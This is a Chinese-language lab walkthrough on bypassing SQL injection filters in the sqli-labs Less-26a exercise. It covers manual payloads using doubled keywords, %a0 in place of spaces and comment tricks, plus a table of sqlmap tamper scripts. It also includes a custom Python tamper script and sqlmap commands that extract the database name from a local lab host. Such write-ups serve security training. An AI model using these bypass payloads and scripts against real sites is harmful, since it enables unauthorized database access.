修改sqlmap-Tamper脚本
文章目录
- 修改sqlmap-Tamper脚本
 - 1 sqlmap官网
 - 2 sql注入漏洞注入尝试
 - 3 环境:sqli-labs/Less-26a/
 - 3.1 尝试宽字节注入:
 
- 3.2 sqlmap使用
 - 3.3准备修改sqlmap使用
 
- 4 sqlmap中-tamper工厂(输入输出)
 - 4.1 [参考文章:sqlmap,Tamper详解及使用指南](https://www.webshell.cc/7162.html)
 - 4.2 sqlmap,Tamper详解及使用指南
 - 4.3 使用root权限使用vscode
 - 4.4 选择复制`Oeunion.py`一个模版,进行编写
 - 4.5 使用replace方法替换
 - 4.6 re.sub(”搜索的内容“,“替换的内容”,变量)
 - 4.7 定义文件 sqli-label_26.py
 - 4.8 sqlmap使用参数大全
 
- 5 执行编写的脚本
 - 5.1 发现没有被替换,搜索只能搜索到小写or,忽略大小写匹配(?i)
 - 5.2 修改文件 sqli-label_26.py ,忽略大小写
 - 5.3 执行后,已经被替换,没有检测出联合查询漏洞,去掉指定检测手法
 - 5.4 最终重新执行
 - 5.5 发现漏洞检测点
 - 5.6 破解当前数据库名
 
1 sqlmap官网
https://sqlmap.org/
 
2 sql注入漏洞注入尝试
1. --+
2. %23 --》代表# 
3. 尝试宽字节注入
4. 尝试id=2' and '1   # 返回发现and消失
5.使用双写:id=2' aANDnd '1   #发现空格过滤
6.使用双写:id=2'+aANDnd+'1  # 发现+号也被过滤掉
7. 代替空格:id=2'%20aANDnd%20'1  #空格被过滤,使用代替16进制 --》%20,发现也被过滤
8. 使用注释: id=2'/*--*/aANDnd/**--**/'1
9.可以使用空格代替字符,(%09, %0A,  %0d, %0c, %a0) 
10. id=2'%a0aANDnd%a0'1   # 测试可以使用
 
3 环境:sqli-labs/Less-26a/

3.1 尝试宽字节注入:
例如"%c0%af",来欺骗应用程序。这些编码的特殊字符在某些情况下会被解析为斜杠(/),从而绕过应用程序的输入验证过程
 
3.2 sqlmap使用
~\tools\sqlmap
python  .\sqlmap.py -u "http://10.4.7.130/sqli-labs/less-26/?id=1"
发现没有跑出来
 
3.3准备修改sqlmap使用
find / -name "*sqlmap*"   
/usr/share/sqlmap  # 发现sqlmap在此文件中
 
4 sqlmap中-tamper工厂(输入输出)
4.1 参考文章:sqlmap,Tamper详解及使用指南
SQLMap是一款SQL注入神器,可以通过tamper对注入payload 进行编码和变形,以达到绕过某些限制的
目的。但是有些时候,SQLMap自带的Tamper脚本并不是特别好用,需要根据实际情况定制Tamper脚本。
sqlmap,Tamper详解及使用指南
 
tamper
cp -R tamper tamper.bak  #备份复制模版
 
4.2 sqlmap,Tamper详解及使用指南
| 序号 | 脚本名称 | 注释 | 
|---|---|---|
| 1 | 0x2char | 将每个编码后的字符转换为等价表达 | 
| 2 | apostrophemask | 单引号替换为Utf8字符 | 
| 3 | apostrophenullencode | 替换双引号为%00%27 | 
| 4 | appendnullbyte | 有效代码后添加%00 | 
| 5 | base64encode | 使用base64编码 | 
| 6 | between | 比较符替换为between | 
| 7 | bluecoat | 空格替换为随机空白字符,等号替换为like | 
| 8 | chardoubleencode | 双url编码 | 
| 9 | charencode | 将url编码 | 
| 10 | charunicodeencode | 使用unicode编码 | 
| 11 | charunicodeescape | 以指定的payload反向编码未编码的字符 | 
| 12 | commalesslimit | 改变limit语句的写法 | 
| 13 | commalessmid | 改变mid语句的写法 | 
| 14 | commentbeforeparentheses | 在括号前加内联注释 | 
| 15 | concat2concatws | 替换CONCAT为CONCAT_WS | 
| 16 | equaltolike | 等号替换为like | 
| 17 | escapequotes | 双引号替换为\\ | 
| 18 | greatest | 大于号替换为greatest | 
| 19 | halfversionedmorekeywords | 在每个关键字前加注释 | 
| 20 | htmlencode | html编码所有非字母和数字的字符 | 
| 21 | ifnull2casewhenisnull | 改变ifnull语句的写法 | 
| 22 | ifnull2ifisnull | 替换ifnull为if(isnull(A)) | 
| 23 | informationschemacomment | 标示符后添加注释 | 
| 24 | least | 替换大于号为least | 
| 25 | lowercase | 全部替换为小写值 | 
| 26 | modsecurityversioned | 空格替换为查询版本的注释 | 
| 27 | modsecurityzeroversioned | 添加完整的查询版本的注释 | 
| 28 | multiplespaces | 添加多个空格 | 
| 29 | nonrecursivereplacement | 替换预定义的关键字 | 
| 30 | overlongutf8 | 将所有字符转义为utf8 | 
| 31 | overlongutf8more | 以指定的payload转换所有字符 | 
| 32 | percentage | 每个字符前添加% | 
| 33 | plus2concat | 将加号替换为concat函数 | 
| 34 | plus2fnconcat | 将加号替换为ODBC函数{fn CONCAT()} | 
| 35 | randomcase | 字符大小写随机替换 | 
| 36 | randomcomments | /**/分割关键字 | 
| 37 | securesphere | 添加某字符串 | 
| 38 | sp_password | 追加sp_password字符串 | 
| 39 | space2comment | 空格替换为/**/ | 
| 40 | space2dash | 空格替换为–加随机字符 | 
| 41 | space2hash | 空格替换为#加随机字符 | 
| 42 | space2morecomment | 空格替换为/_/ | 
| 43 | space2morehash | 空格替换为#加随机字符及换行符 | 
| 44 | space2mssqlblank | 空格替换为其他空符号 | 
| 45 | space2mssqlhash | 空格替换为%23%0A | 
| 46 | space2mysqlblank | 空格替换为其他空白符号 | 
| 47 | space2mysqldash | 空格替换为–%0A | 
| 48 | space2plus | 空格替换为加号 | 
| 49 | space2randomblank | 空格替换为备选字符集中的随机字符 | 
| 50 | symboliclogical | AND和OR替换为&&和|| | 
| 51 | unionalltounion | union all select替换为union select | 
| 52 | unmagicquotes | 宽字符绕过GPC | 
| 53 | uppercase | 全部替换为大写值 | 
| 54 | varnish | 添加HTTP头 | 
| 55 | versionedkeywords | 用注释封装每个非函数的关键字 | 
| 56 | versionedmorekeywords | 使用注释绕过 | 
| 57 | xforwardedfor | 添加伪造的HTTP头 | 
4.3 使用root权限使用vscode
cd /usr/share/code/bin/
sudo ./code # 如果打不开提示加参数,如下
sudo ./code --no-sandbox --user-data-dir /tmp 
 

4.4 选择复制Oeunion.py一个模版,进行编写
 

4.5 使用replace方法替换
1.用replace方法
python
m="welcome, test"
m.replace("test", '')
'welcome, '  # 打印
 
4.6 re.sub(”搜索的内容“,“替换的内容”,变量)
# 使用正则替换:
m = "welcome,test"
import re
re.sub(r"test","tiihuan",m) # 第一个搜索值。第二个替换值,第三个上搜索资源或变量
'wlcome,tihuan'   #打印内容
 
4.7 定义文件 sqli-label_26.py
cd  /usr/share/sqlmap/temper  # 路径
 
#!/usr/bin/env python
"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
    pass
def tamper(payload, **kwargs):
    """
    
    """
    payload = re.sub(r"#", " and '1", payload) 
    payload = re.sub(r"and", "aANDnd", payload) # 如果忽略大小写加(?i)-r"(?i)and"
    payload = re.sub(r"or", "oORr", payload)
    payload = re.sub(r" ", "%A0", payload)
    return payload                                      
 
4.8 sqlmap使用参数大全
参考指令大全
5 执行编写的脚本
sqlmap.py --help  # 查看帮助
--version:显示当前sqlmap的版本号
-h:显示帮助信息
-hh:显示详细的帮助信息
-v VERBOSE:详细级别,VERBOSE为数字,默认为
 
1. 常规执行
┌──(kali@kali)-[/usr/share/sqlmap]
└─$ python sqlmap.py -u "http://192.168.225.186:11088/sqli-labs/Less-26a/?id=2" -v3 --tamper sqli-label_26.py  
2. 加参数指定注入手法,进行排错
--technique  U    # BEUSTQ中的U执行联合查询
┌──(kali@kali)-[/usr/share/sqlmap]
└─$ python sqlmap.py -u "http://192.168.225.186:11088/sqli-labs/Less-26a/?id=2" -v3 --tamper sqli-label_26.py  --technique  U
 

5.1 发现没有被替换,搜索只能搜索到小写or,忽略大小写匹配(?i)

 
5.2 修改文件 sqli-label_26.py ,忽略大小写
 payload = re.sub(r"#", " and '1", payload)
 payload = re.sub(r"(?i)and", "aANDnd", payload)
 payload = re.sub(r"(?i)or", "oORr", payload)
 payload = re.sub(r" ", "%A0", payload)
 
5.3 执行后,已经被替换,没有检测出联合查询漏洞,去掉指定检测手法

5.4 最终重新执行
┌──(kali💋kali)-[/usr/share/sqlmap]
└─$ python sqlmap.py -u "http://192.168.225.186:11088/sqli-labs/Less-26a/?id=4" -v3 --tamper sqli-label_26.py 
 
5.5 发现漏洞检测点

5.6 破解当前数据库名
┌──(kali💋kali)-[/usr/share/sqlmap]
└─$ python sqlmap.py -u "http://192.168.225.186:11088/sqli-labs/Less-26a/?id=2" -v3 --tamper sqli-label_26.py  --current-db
 




















